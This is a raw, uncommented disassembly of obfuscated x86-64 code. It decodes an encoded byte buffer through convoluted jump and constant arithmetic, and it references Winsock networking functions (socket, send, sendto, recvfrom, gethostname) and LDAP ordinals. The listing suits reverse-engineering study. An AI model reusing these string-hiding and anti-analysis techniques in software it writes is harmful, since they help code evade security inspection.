jmp 0x1401e72e3
movabs rcx, 0xba1f6fddcbfb8dde
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x12
jmp 0x1401e72e6
movabs rdx, 0x63837ea724227f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401e6cf7
movabs rdx, 0xce78d707c49705a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x76
jmp 0x1401e700f
movabs rcx, 0xb64b9c39d4706198
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x28
jmp 0x1401e7310
movabs rcx, 0xddc5c13130d1bcb3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
mov byte [rbp + r9 + 0x420], bl
jmp 0x1401e731f
movabs rdx, 0x8729cffa88f8adf1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x69
jmp 0x1401e6e61
movabs rdx, 0x308ddec3e11f9f2f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x49
jmp 0x1401e6e2c
movabs rdx, 0xd9f1ed8d3946906d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 5
jmp 0x1401e6df3
movabs rcx, 0x50605c734e6aa1be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401e7310
movabs rdx, 0xf9c46b3ca69192fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401e700f
movabs rdx, 0xa3287a05feb8843a
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e71ad
movabs rcx, 0x4c8c88cf56df7578
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x1401e72e6
movabs rdx, 0xf5f09798af0666b6
mov ecx, 3
jmp 0x1401e6f02
movabs rdx, 0x9f54a662072d57f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401e711d
movabs rcx, 0x48b8b52b5f544932
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5e
jmp 0x1401e72c0
movabs rcx, 0xf21cc3f4b77b3a70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401e72bd
movabs rdx, 0x9b80d2be0fa22bae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401e6f8b
lea rax, [r10 + 0x64]
cmp rdi, rax
jae 0x1401e6e94
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x59
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 3
je 0x1401e714a
lea rax, [r10 + 6]
cmp rdi, rax
jbe 0x1401e6f66
movabs rdx, 0x51943d02ff5c421d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x35
add bl, dl
cmp rdi, 0x40
jae 0x1401e70f4
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x1401e7046
movabs rdx, 0xdef9a1c0e1c35d12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
add bl, dl
cmp r10, 0x41
jb 0x1401e6c31
movabs rdx, 0x41110de3703df0a6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x14]
jmp 0x1401e7278
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e6ec0
movabs rcx, 0x1acac97bc4ce35ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x66
jmp 0x1401e7310
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e6eea
movabs rdx, 0xc802abe91480536e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 2
jmp 0x1401e71ab
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e6f19
movabs rdx, 0x753a8e56643270f2
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e72e3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e6f36
movabs rdx, 0xcbd67f8d0c0b7fb4
mov ecx, 0xa
jmp 0x1401e6b63
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401e6df5
movabs rcx, 0x227270c3b3e48e76
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x3a
jmp 0x1401e72c0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e6f92
movabs rdx, 0xa8302e39a73550df
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x19
add bl, dl
jmp 0x1401e7278
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e6fbe
movabs rcx, 0x556810a6f6e76e63
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4b
jmp 0x1401e72c0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e6fea
movabs rcx, 0x593be44aee729aa9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x61
jmp 0x1401e72e6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e7016
movabs rdx, 0x673c6b83e24b82d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3b
add bl, dl
jmp 0x1401e71df
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401e6e2e
movabs rcx, 0x5d0fb7eee5fdc6ef
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x77
jmp 0x1401e7310
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e7075
movabs rdx, 0x359592f7899c6bd4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401e7310
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e709f
movabs rdx, 0xe2cd7564d94e8958
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x1401e71ab
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e70c6
movabs rdx, 0xe6a14908d0d9b59e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x1401e711b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e6e63
movabs rdx, 0xea751cacc864e1e4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x1401e6f8b
movabs rdx, 0x97acff1a1816ff68
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x420]
add bl, r8b
add bl, dl
movabs rdx, 0xc2faf7b56c0386c9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x7f
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x420], cl
jmp 0x1401e72e3
movabs rdx, 0xee48f050bff00e2a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x420]
sub bl, 0x26
jmp 0x1401e71ab
movabs rcx, 0x4244ee73212f9105
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x23
jmp 0x1401e71df
movabs rdx, 0xeba8fd3c79568243
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x2b
add bl, dl
movabs rdx, 0x1996e8ec13dc958b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x33
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x420], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x44e4e18767c91cec
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x74
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401e7310
movabs rcx, 0x950d0c05d17d7381
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x79
jmp 0x1401e72e6
movabs rcx, 0x3e711acf29a464bf
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x39
jmp 0x1401e72e3
movabs rcx, 0xe40155f48a4029b7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
movabs rcx, 0x6c5f067ec42a7807
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x31
add r8b, cl
mov byte [rbp + r9 + 0x420], r8b
jmp 0x1401e72bd
movabs rcx, 0xe02d825092b4fd71
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x17
add r10, r15
sub r9, r15
jmp 0x1401e731f
movabs rcx, 0xdc59aeac9b29d12b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2d
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401e731f
movabs rcx, 0x81e9e9d1fbc59623
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 0xb
movzx eax, byte [rbp + r9 + 0x420]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401e67e5
movabs rcx, 0x7f8228b299e25565
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x3d
jmp 0x1401e67e0
movabs rcx, 0x28e6377bf20946a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
jmp 0x1401e67d0
lea rsi, [rbp + 0x16af94c]
jmp 0x1401e7386
lea rsi, [rbp + 0x5780ad]
jmp 0x1401e7386
lea rsi, [rbp + 0x420]
mov byte [rbp + 0x1030], 0xe1
mov byte [rbp + 0x1031], 0xad
mov byte [rbp + 0x1032], Ordinal_60
mov byte [rbp + 0x1033], 0xab
mov byte [rbp + 0x1034], 0xc0
mov byte [rbp + 0x1035], 0xa9
mov byte [rbp + 0x1036], 0xbb
mov byte [rbp + 0x1037], Ordinal_217
mov byte [rbp + 0x1038], Ordinal_79
mov byte [rbp + 0x1039], Ordinal_217
mov byte [rbp + 0x103a], 0xb3
mov byte [rbp + 0x103b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x103c], 0xf0
mov byte [rbp + 0x103d], Ordinal_211
mov byte [rbp + 0x103e], 0xae
mov byte [rbp + 0x103f], 0xdf
mov byte [rbp + 0x1040], 0x42
mov byte [rbp + 0x1041], 0xdd
mov byte [rbp + 0x1042], Ordinal_79
mov byte [rbp + 0x1043], 0xdb
mov byte [rbp + 0x1044], 0x44
mov byte [rbp + 0x1045], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1046], 0xab
mov byte [rbp + 0x1047], Ordinal_200
mov byte [rbp + 0x1048], 0xab
mov byte [rbp + 0x1049], Ordinal_200
mov byte [rbp + 0x104a], 0x5e
mov byte [rbp + 0x104b], Ordinal_200
mov byte [rbp + 0x104c], 0xa9
mov byte [rbp + 0x104d], 0xc1
mov byte [rbp + 0x104e], 0x5d
mov byte [rbp + 0x104f], Ordinal_211
mov byte [rbp + 0x1050], 0x5e
mov byte [rbp + 0x1051], Ordinal_211
mov byte [rbp + 0x1052], 0xea
mov byte [rbp + 0x1053], 0xcb
mov byte [rbp + 0x1054], 0x9d
mov byte [rbp + 0x1055], 0xc9
mov byte [rbp + 0x1056], Ordinal_217
mov byte [rbp + 0x1057], 0xf7
mov byte [rbp + 0x1058], __WSAFDIsSet
mov byte [rbp + 0x1059], 0xf5
mov byte [rbp + 0x105a], Ordinal_211
mov byte [rbp + 0x105b], 0xf3
mov byte [rbp + 0x105c], 0xbd
mov byte [rbp + 0x105d], 0xf1
mov byte [rbp + 0x105e], 0x60
mov byte [rbp + 0x105f], 0xff
mov byte [rbp + 0x1060], 0x62
mov byte [rbp + 0x1061], 0xfd
mov byte [rbp + 0x1062], WSAGetLastError
mov byte [rbp + 0x1063], 0xfb
mov byte [rbp + 0x1064], 0x66
mov byte [rbp + 0x1065], 0xf9
mov byte [rbp + 0x1066], Ordinal_200
mov byte [rbp + 0x1067], 0xe7
mov byte [rbp + 0x1068], 0xa9
mov byte [rbp + 0x1069], 0xe5
mov byte [rbp + 0x106a], 0x76
mov byte [rbp + 0x106b], 0xe3
mov byte [rbp + 0x106c], Ordinal_143
mov byte [rbp + 0x106d], 0xe1
mov byte [rbp + 0x106e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x106f], 0xef
mov byte [rbp + 0x1070], Ordinal_143
mov byte [rbp + 0x1071], 0xed
mov byte [rbp + 0x1072], 0x76
mov byte [rbp + 0x1073], 0xeb
mov byte [rbp + 0x1074], 0x81
mov byte [rbp + 0x1075], 0xe9
mov byte [rbp + 0x1076], 0x84
mov byte [rbp + 0x1077], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1078], 0x7f
mov byte [rbp + 0x1079], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x107a], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x107b], reloc.WS2_32.dll_send
mov byte [rbp + 0x107c], 0x64
mov byte [rbp + 0x107d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x107e], Ordinal_143
mov byte [rbp + 0x107f], Ordinal_32
mov byte [rbp + 0x1080], 0x7d
mov byte [rbp + 0x1081], Ordinal_32
mov byte [rbp + 0x1082], 0x76
mov byte [rbp + 0x1083], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x1084], 0x75
mov byte [rbp + 0x1085], Ordinal_27
mov byte [rbp + 0x1086], 0x98
mov byte [rbp + 0x1087], 7
mov byte [rbp + 0x1088], Ordinal_41
mov byte [rbp + 0x1089], 5
mov byte [rbp + 0x108a], 0x67
mov byte [rbp + 0x108b], 3
xor eax, eax
mov byte [rbp + 0x108c], al
mov byte [rbp + 0x108d], r15b
mov dword [rbp + 0x108e], eax
mov word [rbp + 0x1092], ax
mov byte [rbp + 0x1094], al
movabs r14, 0x6c3a2f70dd85363a
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x65
jae 0x1401e81e6
movzx r9d, byte [rbp + r10 + 0x1030]
mov r8, r9
cmp rdi, r10
ja 0x1401e81dd
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401e7690
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x6a
jmp 0x1401e76bd
je 0x1401e8150
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401e80c8
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e8099
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e8049
cmp r11, r10
ja 0x1401e81d4
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jae 0x1401e76f2
movabs rdx, 0xe0c5e4422bed72c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401e7740
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401e7ffa
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e7fd7
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401e7fb3
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401e7f91
lea rax, [r11 + 7]
cmp rdi, rax
je 0x1401e7f6b
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401e7f45
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x1401e7c1d
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401e7bfc
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x1401e7bd6
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401e7bc2
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401e7bae
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x1401e7b8b
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e7b68
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x1401e7b47
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401e7b33
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x1401e7b1f
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x1401e774d
mov rdi, rax
lea r11, [rax + 1]
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x1401e81ae
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x1401e8188
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x1401e794b
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401e7929
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401e7907
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401e7b08
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x1401e7af4
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401e7aa2
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x1401e7a77
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401e774d
lea rdi, [r11 + 0x3e8]
lea r11, [rdi + 0x3e8]
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x1401e7a54
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1401e7a33
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401e7a11
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x1401e79fd
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401e79e9
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401e79d5
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401e79b2
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401e798f
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x1401e796e
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401e774d
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x10]
jmp 0x1401e774d
movabs rcx, 0xc397c2484754717e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
jmp 0x1401e7740
movabs rcx, 0xeb2363668c4a050a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x46
jmp 0x1401e76bd
movabs rdx, 0x12af0484d13f9896
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x1401e7662
movabs rdx, 0x62f22115f6b9610
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x1401e8016
movabs rcx, 0x2dbac32fa461299c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x1401e803e
movabs rcx, 0x5546644de956bd28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x18
jmp 0x1401e8041
movabs rdx, 0x7cd2056c2e4c50b4
mov ecx, 0xa
jmp 0x1401e7fc0
movabs rdx, 0xa45da68a7341e440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401e7db2
movabs rdx, 0xcbe947a8b83777cc
mov ecx, gethostname
jmp 0x1401e7de1
movabs rcx, 0xf374e8c6fd2d0b58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401e80e9
movabs rdx, 0x1b0089e542229ee4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3c
jmp 0x1401e7d0e
movabs rcx, 0x428c2b0387183270
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x1401e8171
movabs rcx, 0x25693dcf337e234e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
mov byte [rbp + r10 + 0x1030], bl
jmp 0x1401e8180
movabs rdx, 0x4cf4deed7873b6da
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r11, 0x1000
jb 0x1401e7a95
movabs rdx, 0x1f2ee6f843139b1c
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401e8018
movabs rdx, 0x7480800bbd694a66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1401e7c6c
movabs rdx, 0x9c0c212a025eddf2
add rdx, r10
mov ecx, Ordinal_50
jmp 0x1401e7c33
movabs rdx, 0x44a3598d0790b08c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401e7ccf
movabs rdx, 0x6c2efaab4c864418
mov ecx, Ordinal_45
jmp 0x1401e7cfe
movabs rdx, 0x93ba9bc9917bd7a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x1401e7f3e
movabs rcx, 0xbb463ce7d6716b30
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x50
jmp 0x1401e80b6
movabs rcx, 0xe2d1de061b66febc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x1401e8094
movabs rdx, 0xa5d7f24605c9248
mov ecx, 4
jmp 0x1401e8058
movabs rdx, 0x31e92042a55225d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401e7fe6
movabs rdx, 0x5974c160ea47b960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e803e
movabs rdx, 0x8100627f2f3d4cec
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x74
jmp 0x1401e8016
lea rax, [r11 + 0x10]
cmp rdi, rax
jae 0x1401e7cb7
lea rdx, [r10 + r14]
mov ecx, gethostname
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0x20
je 0x1401e7f1a
lea rax, [r11 + 0x20]
cmp rdi, rax
jbe 0x1401e7d80
movabs rdx, 0xc9dd4de4c8bdebd2
mov ecx, reloc.WLDAP32.dll_Ordinal_33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 3
jae 0x1401e7ef1
lea rcx, [r11 + 3]
cmp rdi, rcx
jbe 0x1401e7e28
movabs rcx, 0xaaa33226f4ab5e94
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x1401e7ac3
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e7ce6
movabs rdx, 0xc18bc88457dae584
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e8171
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401e7d15
movabs rdx, 0x9a00276612e551f8
mov ecx, Ordinal_32
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e811d
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e7d32
movabs rdx, 0x72748647cdefbe6c
mov ecx, 6
jmp 0x1401e7f7a
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e7d4f
movabs rdx, 0xd44601ceba19703c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401e7fe6
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e7c42
movabs rdx, 0x852ebf92302e4924
mov ecx, 2
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401e8016
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e7d9a
movabs rdx, 0xa251acc683c85846
mov ecx, ntohl
jmp 0x1401e7d6b
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e7dc9
movabs rdx, 0x423284d6ff20a16
mov ecx, 0x33
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e8094
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401e7df8
movabs rdx, 0xdc97872f2afc768a
mov ecx, Ordinal_32
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e80b6
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e7c7e
movabs rcx, 0x65f4a3d45c1bbbe6
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x4a
jmp 0x1401e8171
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e7e54
movabs rcx, 0x83179108afb5cb08
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x38
jmp 0x1401e8171
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401e7e7e
movabs rdx, 0x5b8befea6ac0377c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x1401e7d0e
cmp rdi, rcx
jne 0x1401e7e97
movabs rdx, 0x34004ecc25caa3f0
mov ecx, Ordinal_60
jmp 0x1401e7f7a
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e7ec1
movabs rdx, 0xbd5d6b7156e9e94c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x1401e7fd0
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401e7ac3
movabs rcx, 0x95d1ca5311f455c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x1401e8041
movabs rdx, 0xf7a345d9fe1e0790
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x1030]
jmp 0x1401e8065
movabs rdx, 0xd017a4bbb9287404
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x1030]
sub bl, 0x1c
add bl, dl
jmp 0x1401e80e9
movabs rdx, 0x7cdd3a31bf4b42d6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e8171
movabs rdx, 0xcbf47c6e493669ee
mov ecx, 0x3f
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e80e9
movabs rcx, 0xf3801d8c8e2bfd7a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x56
jmp 0x1401e80b6
movabs rdx, 0x42975fc918172492
mov ecx, r15d
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e806a
movabs rdx, 0x6a2300e75d0cb81e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
